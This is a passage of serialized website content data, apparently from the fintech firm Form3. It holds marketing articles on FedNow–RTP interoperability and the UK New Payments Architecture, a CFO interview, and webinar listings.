that you had a Verizon cell phone and wanted to make a call to someone with an AT&T cell phone but you couldn’t because they were on different, non-interoperable networks. It just wouldn’t be acceptable – unless, of course, the person you couldn’t reach was your mother-in-law. Joking aside, if you apply this analogy to the faster payments environment you’ll begin to understand just how big a problem it will be if RTP and FedNow don’t work together. ",[],{"type":25,"text":5723,"spans":5724,"direction":445},"Currently, though, that’s the situation we’re facing. FedNow and RTP  will not directly interoperate when FedNow launches, and discussions on the two eventually getting to message interoperability don't seem to be a priority. The knock-on effect could be that US banks and other financial institutions could be forced to choose between one or the other; while big banks may take on the expense of connecting to both systems, smaller ones may not have this luxury.",[],"rich_text$b3e4620a-1da4-4a78-9d78-b842d8b762bb",{"variation":437,"version":438,"items":5727,"primary":5728,"id":5739,"slice_type":468,"slice_label":5},[],{"body":5729},[5730,5733,5736],{"type":988,"text":5731,"spans":5732,"direction":445},"Why intermediaries won’t be a solution",[],{"type":25,"text":5734,"spans":5735,"direction":445},"One of the rules that participants in the FedNow Service will have to adhere to is that there should be no intermediaries in the payment flow. On the one hand, this makes sense because adding extra steps to the payment process will slow everything down and defeat the purpose of instant payments. ",[],{"type":25,"text":5737,"spans":5738,"direction":445},"On the other hand, though, it also means that a potential solution to the issue of interoperability is ruled out. It had been speculated that some larger institutions would be able to act as intermediaries, moving messages between the RTP and FedNow networks, on behalf of other smaller banks that were only signed up to one or the other. The fact that FedNow’s rules preclude intermediaries means this won’t happen, and could derail the push towards a ubiquitous real time payment system in the US. ",[],"rich_text$09e7a5f8-03e5-443e-a4c6-f47bae56b6a6",{"variation":437,"version":438,"items":5741,"primary":5742,"id":5753,"slice_type":468,"slice_label":5},[],{"body":5743},[5744,5747,5750],{"type":988,"text":5745,"spans":5746,"direction":445},"The benefits of competition",[],{"type":25,"text":5748,"spans":5749,"direction":445},"There’s no sense in waiting for FedNow to become the de facto instant payment standard in order to solve the problem of interoperability either. While FedNow will provide a catalyst for the uptake of real time payments in the US — even if volumes are likely to be small, at least initially — it isn’t intended to be a replacement for RTP. The Fed is simply looking to provide competition to RTP in order to drive the instant payments space onward, giving all banks and financial institutions the opportunity to provide better services for their customers. ",[],{"type":25,"text":5751,"spans":5752,"direction":445},"In many areas of payments there tend to be two alternatives —FedACH and EPN for ACH transactions, Fedwire and CHIPS for interbank transactions, for example — and having two systems that clear and operate in any type of payment in the US is needed, given the size and scope of the US market with over 10,000 institutions. The competition helps to ensure that pricing is right and that new features are brought in, keeping the payment systems moving forward.",[],"rich_text$279d73a3-4e16-42b9-af43-839563368355",{"variation":437,"version":438,"items":5755,"primary":5756,"id":5773,"slice_type":468,"slice_label":5},[],{"body":5757},[5758,5761,5764,5767,5770],{"type":988,"text":5759,"spans":5760,"direction":445},"How third-party payment processors can help",[],{"type":25,"text":5762,"spans":5763,"direction":445},"From a cost perspective, embracing real time payments is going to be tough for a lot of financial institutions in the US. Should those that are already signed up to RTP take on the additional financial and technical headaches of signing up to FedNow as well, to ensure they can overcome the issue of interoperability? ",[],{"type":25,"text":5765,"spans":5766,"direction":445},"Fortunately, there is a solution that makes sense from an economic perspective that will also ease the technical complications as well: Working with a third party processor such as Form3 that can provide gateway access to both RTP *and* FedNow. ",[],{"type":25,"text":5768,"spans":5769,"direction":445},"From the bank's perspective, when it comes to the actual banking, posting of money, real time availability and so on, the processes are much the same whether they are working with RTP or FedNow. It’s the technical connection to the scheme that is different, and a third-party provider like Form3 can handle all of that for them.  ",[],{"type":25,"text":5771,"spans":5772,"direction":445},"Banks can overcome interoperability issues by being on both RTP and FedNow, without having to worry about the differences in the ISO messages or the differences in the technical connection, and so on. This gives them greater resiliency, with access to two alternative instant payment networks, and means that they can route their payments to the right scheme for actual business reasons, not just technical reasons. In addition, all of the ongoing maintenance and management required to keep up with new standards and regulations — such as ISO migrations — will be handled for them. ",[],"rich_text$5e43d62a-cfe8-469a-a5f5-c2dac42c1d45",{"variation":437,"version":438,"items":5775,"primary":5776,"id":5800,"slice_type":468,"slice_label":5},[],{"body":5777},[5778,5781,5784,5788,5792,5796],{"type":988,"text":5779,"spans":5780,"direction":445},"Watch now to find out more",[],{"type":25,"text":5782,"spans":5783,"direction":445},"For further insight and discussion of these and other issues surrounding interoperability and real time payments, be sure to watch our on-demand webinar. Our leading panel of speakers include:",[],{"type":1151,"text":5785,"spans":5786,"direction":445},"Elizabeth McQuerry, Partner | GLENBROOK PARTNERS",[5787],{"start":398,"end":5490,"type":593},{"type":1151,"text":5789,"spans":5790,"direction":445},"Micheal Knorr, CIB Industry & Advisory Lead | WELLS FARGO",[5791],{"start":398,"end":3639,"type":593},{"type":1151,"text":5793,"spans":5794,"direction":445},"Irfan Ahmad, Managing Director, Head of US Payments, GTS | BANK OF AMERICA",[5795],{"start":398,"end":2223,"type":593},{"type":1151,"text":5797,"spans":5798,"direction":445},"Eralda Hasani, Director, Immediate Payments Product Management | BNY MELLON",[5799],{"start":398,"end":2651,"type":593},"rich_text$ac506b4e-97e4-4de9-a921-028c04b7a8f5","Understanding the issues for real time payments and interoperability","Join our webinar as we discuss some of the key challenges around interoperability between the two real time payments schemes in the US.",{"id":5804,"uid":5805,"type":3743,"data":5806},"alz0hhEAACoAUWYU","new-payments-architecture",{"title":5807,"excerpt":5808,"card_image":5809,"published_date":5812,"reading_time":1355,"tag":5813,"dek":5808,"featured_image":5814,"about_form3":5815,"client_about_heading":5,"client_about_body":5816,"author_name":5,"author_title":5,"author_photo":5817,"author_bio":5818,"author_linkedin":5819,"slices":5820,"meta_title":5807,"meta_description":5808},"New Payments Architecture","Plumbing for the 21st century",{"dimensions":5810,"alt":413,"copyright":5,"url":414,"id":415,"edit":5811},{"width":412,"height":412},{"x":398,"y":398,"zoom":399,"background":400},"2019-12-11","Thought Leadership",{},[],[],{},[],{"link_type":434},[5821,5843,5851,5900,5917,5940,5960],{"variation":437,"version":527,"items":5822,"primary":5823,"id":5842,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":5824,"body":5825,"cta_label":5,"cta_link":5829,"aside_type":533,"aside_image":5830,"aside_video":5837,"aside_video_poster":5838,"aside_video_reduced_motion":5839,"aside_video_url":5,"aside_embed":5840,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":5841,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[5826],{"type":25,"text":5827,"spans":5828,"direction":445},"Nestling between the River Thames and the cycle super highway is a memorial to a chap called Joseph Bazaalgate. Thousands of cyclists’ whizz past it every day without noticing it. Nevertheless, it stands on top of his creation and is one of the wonders of Victorian engineering - the London Sewers.",[],{"link_type":434},{"dimensions":5831,"alt":5,"copyright":5,"url":5834,"id":5835,"edit":5836},{"width":5832,"height":5833},2160,1214,"\u002F_prismic-media\u002Ffdc37b6b8fbebbab--OKMArLBZpkZLjnH_49680e68-1904-4642-9d76-c4c9a7a.jpg","-OKMArLBZpkZLjnH",{"x":398,"y":398,"zoom":399,"background":650},{"link_type":536},{},{},{},{"link_type":542},"content_block$8edf47f3-0f8a-4b0f-af9c-78ec8b94f4a2",{"variation":437,"version":438,"items":5844,"primary":5845,"id":5850,"slice_type":468,"slice_label":5},[],{"body":5846},[5847],{"type":25,"text":5848,"spans":5849,"direction":445},"Completed in 1875, when London had a population of around two million, those same sewers are now being used by over eight million London residents. Only now, nearly 150 years later, is London having to invest £4.5bn in its plumbing - nearly one thousand times the amount spent on the original solution. Why so long after? Because Joseph Bazaalgate had the foresight to double the capacity originally sized for London in anticipation of the future needs. Brilliant!",[],"rich_text$90c7cfb9-837c-4008-9156-084573ae978e",{"variation":437,"version":438,"items":5852,"primary":5853,"id":5899,"slice_type":468,"slice_label":5},[],{"body":5854},[5855,5858,5861,5864,5867,5871,5874,5877,5880,5883,5887,5890,5893,5896],{"type":988,"text":5856,"spans":5857,"direction":445},"What is NPA ?",[],{"type":25,"text":5859,"spans":5860,"direction":445},"Right now, the UK payments industry under the guidance of Pay.UK and the watchful eye of the Payment Systems Regulator (PSR) is also undertaking a significant process of renewal of a different kind of plumbing. The UK’s interbank payments infrastructure. This is the infrastructure that sits behind your mobile, internet and branch banking services, ensuring that the billions of bank-to-bank payment messages, (e.g. Faster Payments, Standing Orders, Direct Credits and Direct Debits), continue to be processed in a secure and timely way.",[],{"type":25,"text":5862,"spans":5863,"direction":445},"The NPA Programme will create a new clearing and settlement infrastructure using a new common message standard (based on ISO20022). It’s a little bit like the plumbing for financial services. The ultimate aim is for this infrastructure to process Faster Payments, Bacs Debits or Credits and Cheque payments, thereby rationalising three current scheme infrastructures into one.",[],{"type":25,"text":5865,"spans":5866,"direction":445},"Conceptually, the NPA proposes a standardised, layered approach to facilitate better access, stability, resilience, innovation and competition. There’s a ‘Clearing and Settlement’ layer, to process the payment messages and disburse the funds. On top of this, there’s a ‘Channels’ layer, allowing users to access distributed services and functions through a variety of communications channels (e.g. APIs). The conceptual blueprint, published back in 2017, is underpinned by a set of design principles and attributes:",[],{"type":25,"text":5868,"spans":5869,"direction":445},"Principles",[5870],{"start":398,"end":905,"type":593},{"type":1151,"text":5872,"spans":5873,"direction":445},"Single set of standards and rules.",[],{"type":1151,"text":5875,"spans":5876,"direction":445},"End-to-end interoperability including APIs and a Common Credit Message (CCM).",[],{"type":1151,"text":5878,"spans":5879,"direction":445},"Collaborative infrastructure \u002F overlay services.",[],{"type":1151,"text":5881,"spans":5882,"direction":445},"Secure, resilient and stable.",[],{"type":25,"text":5884,"spans":5885,"direction":445},"Attributes",[5886],{"start":398,"end":905,"type":593},{"type":1151,"text":5888,"spans":5889,"direction":445},"Layered approach.",[],{"type":1151,"text":5891,"spans":5892,"direction":445},"Overlay services.",[],{"type":1151,"text":5894,"spans":5895,"direction":445},"Support push payments.",[],{"type":1151,"text":5897,"spans":5898,"direction":445},"Single, common Messaging standards.",[],"rich_text$c1b78c83-3529-478b-8f8e-1eed844dd54a",{"variation":437,"version":438,"items":5901,"primary":5902,"id":5916,"slice_type":468,"slice_label":5},[],{"body":5903},[5904,5907,5910,5913],{"type":988,"text":5905,"spans":5906,"direction":445},"Concept versus Reality",[],{"type":25,"text":5908,"spans":5909,"direction":445},"According to Pay.UK, the NPA programme will deliver the NPA Blueprint in stages. For example, it is dependent on the successful delivery of the new core clearing and settlement layer. The Bank of England is forecasting to deliver their upgraded Real-Time Gross Settlement (RTGS) system after 2021. In the meantime, incremental improvements will be delivered to the payment services from 2019, with the delivery of so called ‘overlay services such as Confirmation of Payee and Request to Pay.",[],{"type":25,"text":5911,"spans":5912,"direction":445},"From a core payments perspective, the focus is expected to be on upgrading the Faster Payments Service, given that this is where the majority of future payments growth is expected to be derived.",[],{"type":25,"text":5914,"spans":5915,"direction":445},"Pay.UK are currently running the RFP process, with a preferred supplier expected to be announced in Q2 2020. Building and Testing is planned to run from 2021 to 2022 with migration in 2023-24.",[],"rich_text$1ae31b92-69ff-460b-a9d3-7146e2ad1d72",{"variation":437,"version":438,"items":5918,"primary":5919,"id":5939,"slice_type":468,"slice_label":5},[],{"body":5920},[5921,5924,5927,5930,5933,5936],{"type":988,"text":5922,"spans":5923,"direction":445},"NPA: The challenge for existing and new Payment Service Providers",[],{"type":25,"text":5925,"spans":5926,"direction":445},"Given the lack of certainty around the scope, message standard and the expected 2023 delivery date, organisations might be tempted to sit and wait on the side-lines until the core infrastructure is delivered. At Form3 we don’t believe organisations can afford to do this - especially if you are one encumbered with legacy infrastructure.",[],{"type":1151,"text":5928,"spans":5929,"direction":445},"How will your organisation transition from complex and inflexible processing platforms with dedicated payments engines, complex orchestration and multiple system interfaces?",[],{"type":1151,"text":5931,"spans":5932,"direction":445},"How can you start to prepare and mitigate the impact of NPA when the proposed architecture is still conceptual?",[],{"type":1151,"text":5934,"spans":5935,"direction":445},"What if you are a new challenge PSP, looking to connect to the UK Payment Infrastructure for the first time?",[],{"type":1151,"text":5937,"spans":5938,"direction":445},"How can you avoid costly ‘throw-away integration’ before NPA is delivered?1",[],"rich_text$231112cf-566a-41a5-bd94-e8ac6516b55f",{"variation":437,"version":438,"items":5941,"primary":5942,"id":5959,"slice_type":468,"slice_label":5},[],{"body":5943},[5944,5947,5950,5953,5956],{"type":988,"text":5945,"spans":5946,"direction":445},"Interoperability and continuity of service",[],{"type":25,"text":5948,"spans":5949,"direction":445},"Form3 has already built market services that sit across the conceptual layers and our fully-cloud-native infrastructure supports a layered conceptual infrastructure.",[],{"type":25,"text":5951,"spans":5952,"direction":445},"Form3 can also help organisations manage the impact of transitioning and onboarding to NPA by providing a re-routing facility between the current (Faster Payments) and future real-time, infrastructure.",[],{"type":25,"text":5954,"spans":5955,"direction":445},"Our flexible, micro-services architecture is accessible through a single API, helping insulate clients from the ensuing scheme changes (e.g. adoption of a Comment Credit Message).",[],{"type":25,"text":5957,"spans":5958,"direction":445},"Form3 will be ready to facilitate the transition to NPA and manage PSP migration by providing additional re-routing of Faster Payments SIPs to the NPA (i.e. Smart routing between old and new gateways). The Form3 platform will promote interoperability between new and existing schemes; ensuring continuity of service and supporting phased migration.",[],"rich_text$4ae83c44-3693-49ce-bf62-555861e976fb",{"variation":437,"version":438,"items":5961,"primary":5962,"id":5979,"slice_type":468,"slice_label":5},[],{"body":5963},[5964,5967,5970,5973,5976],{"type":988,"text":5965,"spans":5966,"direction":445},"Form3 future-proof payments processing with a social benefit",[],{"type":25,"text":5968,"spans":5969,"direction":445},"It’s difficult to know exactly how the payments landscape is going to change in the coming years with the introduction of NPA. There are, however, certain undeniable trends as businesses and consumers rapidly adopt digital methods of payments. First, the rapid adoption of real-time payments and second, richer payments data sets, insights and automation. The digital world requires real-time processing and enhanced services with richer data analytics, all served up through simple, secure and accessible APIs.",[],{"type":25,"text":5971,"spans":5972,"direction":445},"Form3 is proud to be helping organisations prepare for the advent of the New Payments Architecture and will continue to insulate them from the uncertainty both before and after roll-out. In the meantime, we will continue to help them connect to the existing infrastructures such as FPS, Bacs and CHAPS.",[],{"type":25,"text":5974,"spans":5975,"direction":445},"In 2019, we connected half of all the new UK Faster Payments participants. Although insignificant to some, it’s a little bit like Bazaalgate’s plumbing for London; an amazing sub-structure that makes modern life so much easier.",[],{"type":25,"text":5977,"spans":5978,"direction":445},"1 : \"As the commencement of the NPA draws closer, we would expect a temporary slowdown in joining numbers as potential new participants wait for the new system, rather than investing in building connections to the pre-existing system.” – PSR June 2019",[],"rich_text$0787254f-9a07-4994-a90a-f1ddd9a28242",{"id":5981,"uid":5982,"type":3743,"data":5983},"alz0UhEAACcAUWWW","female-leadership-spotlight---bonnie-mitchell",{"title":5984,"excerpt":5985,"card_image":5986,"published_date":5989,"reading_time":4603,"tag":3751,"dek":5985,"featured_image":5990,"about_form3":5991,"client_about_heading":5,"client_about_body":5992,"author_name":5,"author_title":5,"author_photo":5993,"author_bio":5994,"author_linkedin":5995,"slices":5996,"meta_title":5984,"meta_description":5985},"Female Leadership Spotlight - Bonnie Mitchell","As part of celebrating International Womens day at Form3, we have brought together a series highlighting the wonderful women that lead the business. The first instalment is Bonnie Mitchell, Form3's Chief Financial Officer.",{"dimensions":5987,"alt":413,"copyright":5,"url":414,"id":415,"edit":5988},{"width":412,"height":412},{"x":398,"y":398,"zoom":399,"background":400},"2021-03-09",{},[],[],{},[],{"link_type":434},[5997,6022,6047,6072,6097,6108,6130,6144],{"variation":437,"version":527,"items":5998,"primary":5999,"id":6021,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":6000,"body":6004,"cta_label":5,"cta_link":6008,"aside_type":533,"aside_image":6009,"aside_video":6016,"aside_video_poster":6017,"aside_video_reduced_motion":6018,"aside_video_url":5,"aside_embed":6019,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":6020,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[6001],{"type":746,"text":6002,"spans":6003,"direction":445},"What does your role at Form3 involve?",[],[6005],{"type":25,"text":6006,"spans":6007,"direction":445},"My role as CFO involves the financial planning, risk management and reporting of the business, as well as performance management. In real terms this means oversite of the cash, governance and compliance of the business, and performance management of our objectives. In finance we need to be looking to the future to help keep the company on course to its strategic objectives.",[],{"link_type":434},{"dimensions":6010,"alt":5,"copyright":5,"url":6013,"id":6014,"edit":6015},{"width":6011,"height":6012},840,635,"\u002F_prismic-media\u002F7616558f8a85b1b6-WjjC29kHwXYZEeHW_11fda337-522c-460a-87fc-ea90920.jpeg","WjjC29kHwXYZEeHW",{"x":398,"y":398,"zoom":399,"background":650},{"link_type":536},{},{},{},{"link_type":542},"content_block$9925ce4b-a648-47f3-92cf-9a980b464d01",{"variation":437,"version":527,"items":6023,"primary":6024,"id":6046,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":6025,"body":6029,"cta_label":5,"cta_link":6033,"aside_type":533,"aside_image":6034,"aside_video":6041,"aside_video_poster":6042,"aside_video_reduced_motion":6043,"aside_video_url":5,"aside_embed":6044,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":6045,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[6026],{"type":746,"text":6027,"spans":6028,"direction":445},"Why did you choose a career in Technology?",[],[6030],{"type":25,"text":6031,"spans":6032,"direction":445},"The trend mainly; we are living in the digital age.  Also, my proximity to Cambridge; also known as the silicon fen.  I love working for growth companies, as there’s nothing like contributing to growing and shaping a new venture and disrupting the norm.",[],{"link_type":434},{"dimensions":6035,"alt":5,"copyright":5,"url":6038,"id":6039,"edit":6040},{"width":6036,"height":6037},681,907,"\u002F_prismic-media\u002F928531b98dc8a764-6_W1oucV03OXMJNd_9c6e8e01-f0d8-499b-866e-b6b7659.jpeg","6_W1oucV03OXMJNd",{"x":398,"y":398,"zoom":399,"background":650},{"link_type":536},{},{},{},{"link_type":542},"content_block$e821be5e-dda8-4a91-9118-87de181cae14",{"variation":437,"version":527,"items":6048,"primary":6049,"id":6071,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":6050,"body":6054,"cta_label":5,"cta_link":6058,"aside_type":533,"aside_image":6059,"aside_video":6066,"aside_video_poster":6067,"aside_video_reduced_motion":6068,"aside_video_url":5,"aside_embed":6069,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":6070,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[6051],{"type":746,"text":6052,"spans":6053,"direction":445},"If you could go back in time and do something differently in your career, what would it be?",[],[6055],{"type":25,"text":6056,"spans":6057,"direction":445},"There probably isn’t a lot I’d do differently, but thinking about it, I probably wouldn’t have rushed back to work so quickly after having my second child. I rushed back to work when Eric was 6 months old because I wanted to be seen to be motivated, driven and progressing. Actually, if you’re driven and good at what you do, you’ll find a great job regardless of when you come back to work. ",[],{"link_type":434},{"dimensions":6060,"alt":5,"copyright":5,"url":6063,"id":6064,"edit":6065},{"width":6061,"height":6062},803,605,"\u002F_prismic-media\u002Fc1f529c517a86f86-S1dMQoYiCcRqBsME_5437fdb8-3b87-465c-ad4b-174f3af.jpeg","S1dMQoYiCcRqBsME",{"x":398,"y":398,"zoom":399,"background":650},{"link_type":536},{},{},{},{"link_type":542},"content_block$8748388a-4ce6-4429-91c1-591caa166fb3",{"variation":437,"version":527,"items":6073,"primary":6074,"id":6096,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":6075,"body":6079,"cta_label":5,"cta_link":6083,"aside_type":533,"aside_image":6084,"aside_video":6091,"aside_video_poster":6092,"aside_video_reduced_motion":6093,"aside_video_url":5,"aside_embed":6094,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":6095,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[6076],{"type":746,"text":6077,"spans":6078,"direction":445},"What advice would you give young women today who are embarking on their career?",[],[6080],{"type":25,"text":6081,"spans":6082,"direction":445},"Seek guidance and advice from as many people as possible, never assume you can’t do something. Sometimes taking the first steps is the hardest part.",[],{"link_type":434},{"dimensions":6085,"alt":5,"copyright":5,"url":6088,"id":6089,"edit":6090},{"width":6086,"height":6087},715,540,"\u002F_prismic-media\u002F0bc1095168c47620-CyDi3TfaVEnNJZ_V_03ca9896-29c9-4818-8cf1-947a957.jpeg","CyDi3TfaVEnNJZ_V",{"x":398,"y":398,"zoom":399,"background":650},{"link_type":536},{},{},{},{"link_type":542},"content_block$08ced571-4656-4937-b96f-420d0edbc597",{"variation":437,"version":438,"items":6098,"primary":6099,"id":6107,"slice_type":468,"slice_label":5},[],{"body":6100},[6101,6104],{"type":746,"text":6102,"spans":6103,"direction":445},"Who have been key influencers in your career?",[],{"type":25,"text":6105,"spans":6106,"direction":445},"My best friend’s father who was an Accountant. I had a Maths degree and he used to ask “Are you an Accountant yet?”. I wasn’t the type of person upon leaving university to have already had a job lined up or with a list of internships. I just went home to my Mum, found a job at the local council, which was good and was going well. But every time I’d visit my friend, her father would ask “Are you an Accountant yet?” so he really kicked it all off for me.",[],"rich_text$907fdc31-c1d0-4bda-ac66-574ae04cc62d",{"variation":437,"version":527,"items":6109,"primary":6110,"id":6129,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":6111,"body":6112,"cta_label":5,"cta_link":6116,"aside_type":533,"aside_image":6117,"aside_video":6124,"aside_video_poster":6125,"aside_video_reduced_motion":6126,"aside_video_url":5,"aside_embed":6127,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":6128,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[6113],{"type":25,"text":6114,"spans":6115,"direction":445},"I also had very interesting assignments at my accountancy firm where I started my training – they were all inspiring business people and that sparked my interest in the world of business.  Then, through my network, I was able to meet a lot of interesting entrepreneurs and found my passion for start-ups, and the ability to disrupt the status quo, and grow something from nothing.\nFinally, we have my sister Bianca, who is a lawyer at Google. I have her to thank for inspiring me from a young age!Finally, we have my sister Bianca, who is a lawyer at Google. I have her to thank for inspiring me from a young age!",[],{"link_type":434},{"dimensions":6118,"alt":5,"copyright":5,"url":6121,"id":6122,"edit":6123},{"width":6119,"height":6120},818,614,"\u002F_prismic-media\u002Fdb8d9beb67ae43de-T3KWOhYyWQCNJVXp_3a65e0b7-8d11-4cdc-af78-c8aafce.jpeg","T3KWOhYyWQCNJVXp",{"x":398,"y":398,"zoom":399,"background":650},{"link_type":536},{},{},{},{"link_type":542},"content_block$2a4f546e-e101-4abf-b0ca-8370081e1ca4",{"variation":437,"version":438,"items":6131,"primary":6132,"id":6143,"slice_type":468,"slice_label":5},[],{"body":6133},[6134,6137,6140],{"type":746,"text":6135,"spans":6136},"How have you grown and what have you learned during the last 2 years at Form3?",[],{"type":25,"text":6138,"spans":6139},"Michael has been an amazing role model for me, and probably for everybody in the business. I’ve continued to grow in my role and take on the different challenges Form3 faces as it scales. That has only been possible through the collaboration with the Leadership team and the wider business.  ",[],{"type":25,"text":6141,"spans":6142},"I’m more comfortable in a room engaging with senior people such as Chief Officers of Tier 1 banks and large VC funds. The most recent growth for me has been moving out of a setting up of a team and processes, and into a more strategic leadership role needed in the business. I’ve been doing this with support of the amazing resources at hand through Form3 such as Penny, Paul, Vinoth & Tom and the support of many others I haven’t mentioned.",[],"rich_text$0f2f70ca-83f8-4a9a-b072-0bbf0e71c715",{"variation":437,"version":527,"items":6145,"primary":6146,"id":6167,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":6147,"body":6151,"cta_label":5,"cta_link":6155,"aside_type":533,"aside_image":6156,"aside_video":6162,"aside_video_poster":6163,"aside_video_reduced_motion":6164,"aside_video_url":5,"aside_embed":6165,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":6166,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[6148],{"type":746,"text":6149,"spans":6150,"direction":445},"Have you started any lockdown hobbies?",[],[6152],{"type":25,"text":6153,"spans":6154,"direction":445},"I’ve spent a lot of time with my family, embracing long walks and art projects!  ",[],{"link_type":434},{"dimensions":6157,"alt":5,"copyright":5,"url":6159,"id":6160,"edit":6161},{"width":3369,"height":6158},650,"\u002F_prismic-media\u002F55a512d7c7d91e57-XRDZQ_OCGnHc-CSf_742a5644-2414-4200-ba5b-31a4b13.jpeg","XRDZQ_OCGnHc-CSf",{"x":398,"y":398,"zoom":399,"background":650},{"link_type":536},{},{},{},{"link_type":542},"content_block$24627948-9e29-43f2-b475-210f54161aae",{"id":6169,"uid":6170,"type":3743,"data":6171},"alzz-hEAACgAUWTA","webinar-are-you-ready-for-the-next-stage-in-europes",{"title":6172,"excerpt":6173,"card_image":6174,"published_date":6177,"reading_time":418,"tag":6178,"dek":6179,"featured_image":6180,"about_form3":6181,"client_about_heading":5,"client_about_body":6182,"author_name":5,"author_title":5,"author_photo":6183,"author_bio":6184,"author_linkedin":6185,"slices":6186,"meta_title":6172,"meta_description":6173},"Webinar: Are you Ready for the Next Stage in Europe’s Payment Evolution?","From humble beginnings non-bank players are increasingly playing an integral role within the European payment system. As the world of payments continues to change, banks are embracing collaboration and see innovation as an essential approach to success.",{"dimensions":6175,"alt":413,"copyright":5,"url":414,"id":415,"edit":6176},{"width":412,"height":412},{"x":398,"y":398,"zoom":399,"background":400},"2022-07-12","Webinar","Incumbent organisations looking to move with the market face additional hurdles that may be only true to a lesser extend for newer players. How do you run truly real time on an engine aimed at batch processing? How do you move to cloud native as a whole organisation without disruption and losing your whole budget on it. The idea was after all to focus on the customer relationship. How do you change at speed so that you retain your relationships with new providers knocking at the door? How do bank see themselves playing in the ever changing digital ecosystem?",{},[],[],{},[],{"link_type":434},[6187,6204,6237],{"variation":437,"version":438,"items":6188,"primary":6189,"id":6203,"slice_type":468,"slice_label":5},[],{"body":6190},[6191,6194,6197,6200],{"type":746,"text":6192,"spans":6193},"Key takeaways include:",[],{"type":1151,"text":6195,"spans":6196},"How is the market changing in 2022, where has the opportunity for collaboration truly been embraced?",[],{"type":1151,"text":6198,"spans":6199},"Are non-credit institution PSP at equal footing with banks will the EU retail payments strategy get them there and how would that change the game?",[],{"type":1151,"text":6201,"spans":6202},"What are the market trends we’re seeing in Europe and will these help overcome previous hurdles?",[],"rich_text$7738320f-a4d5-4b23-b6b3-7d7ab2d66b2b",{"variation":437,"version":527,"items":6205,"primary":6206,"id":6236,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":6207,"body":6211,"cta_label":5,"cta_link":6212,"aside_type":6213,"aside_image":6214,"aside_video":6215,"aside_video_poster":6216,"aside_video_reduced_motion":6217,"aside_video_url":5,"aside_embed":6218,"pardot_form_url":6219,"form_submit_label":6209,"form_variant":6220,"form_heading":6221,"redirect_on_success":6222,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[6208],{"type":746,"text":6209,"spans":6210},"Watch the webinar here",[],[],{"link_type":434},"Form",{},{"link_type":536},{},{},{},"https:\u002F\u002Fcontent.form3.tech\u002Fl\u002F957092\u002F2022-07-05\u002F319mf","Download \u002F gated content","Register",{"id":6223,"type":6224,"tags":6225,"lang":14,"slug":6226,"first_publication_date":6227,"last_publication_date":6228,"uid":6229,"url":6230,"data":6231,"link_type":542,"key":6234,"isBroken":6235},"anvZFBIAAC0ANtkJ","download_thank_you",[],"modernize-your-payments-for-scale-and-resilience","2026-08-12T02:23:57+0000","2026-08-13T03:53:02+0000","european-payment-evolution-22","\u002Fcampaigns\u002Feuropean-payment-evolution-22",{"title":6232,"heading":6233},"European payment evolution webinar — thank you","Thanks — your webinar is ready","b4cdda31-d787-464d-bcbc-f78a9daf6f34",false,"content_block$48490db2-8ce4-4be9-bef7-dce82f8ffb0d",{"variation":437,"version":438,"items":6238,"primary":6239,"id":6266,"slice_type":468,"slice_label":5},[],{"body":6240},[6241,6244,6248,6251,6255,6258,6263],{"type":746,"text":6242,"spans":6243},"Webinar Speakers",[],{"type":25,"text":6245,"spans":6246},"Thomas Bo Christensen",[6247],{"start":398,"end":703,"type":593},{"type":25,"text":6249,"spans":6250},"Director, Core Payment Platform | DANSKE BANK",[],{"type":25,"text":6252,"spans":6253},"Curt Chadha",[6254],{"start":398,"end":602,"type":593},{"type":25,"text":6256,"spans":6257},"Head of Payments & Daily Banking | RAIFFEISEN BANK INTERNATIONAL AG",[],{"type":25,"text":6259,"spans":6260},"Jolanda Schekermans",[6261],{"start":398,"end":6262,"type":593},19,{"type":25,"text":6264,"spans":6265}," Head of Product, Europe | FORM3",[],"rich_text$6aaaaa1b-15e4-4318-b1b5-d02332490c22",{"id":6268,"uid":6269,"type":3743,"data":6270},"alz0QhEAACsAUWVs","confirmation-of-payee-opportunity-or-headache",{"title":6271,"excerpt":6272,"card_image":6273,"published_date":6276,"reading_time":905,"tag":3751,"dek":6272,"featured_image":6277,"about_form3":6278,"client_about_heading":5,"client_about_body":6279,"author_name":5,"author_title":5,"author_photo":6280,"author_bio":6281,"author_linkedin":6282,"slices":6283,"meta_title":6271,"meta_description":6272},"Confirmation of Payee; Opportunity or Headache?","An intro to Confirmation of Payee and what it means for you",{"dimensions":6274,"alt":413,"copyright":5,"url":414,"id":415,"edit":6275},{"width":412,"height":412},{"x":398,"y":398,"zoom":399,"background":400},"2021-05-12",{},[],[],{},[],{"link_type":434},[6284,6307,6324,6344,6364,6375,6404,6434,6457],{"variation":437,"version":438,"items":6285,"primary":6286,"id":6306,"slice_type":468,"slice_label":5},[],{"body":6287},[6288,6291,6294,6297,6300,6303],{"type":25,"text":6289,"spans":6290},"The introduction of the Contingent Reimbursement Model (CRM) in May 2019 by the Payment System Regulator (PSR) and Confirmation of Payee (CoP) in February 2020 by 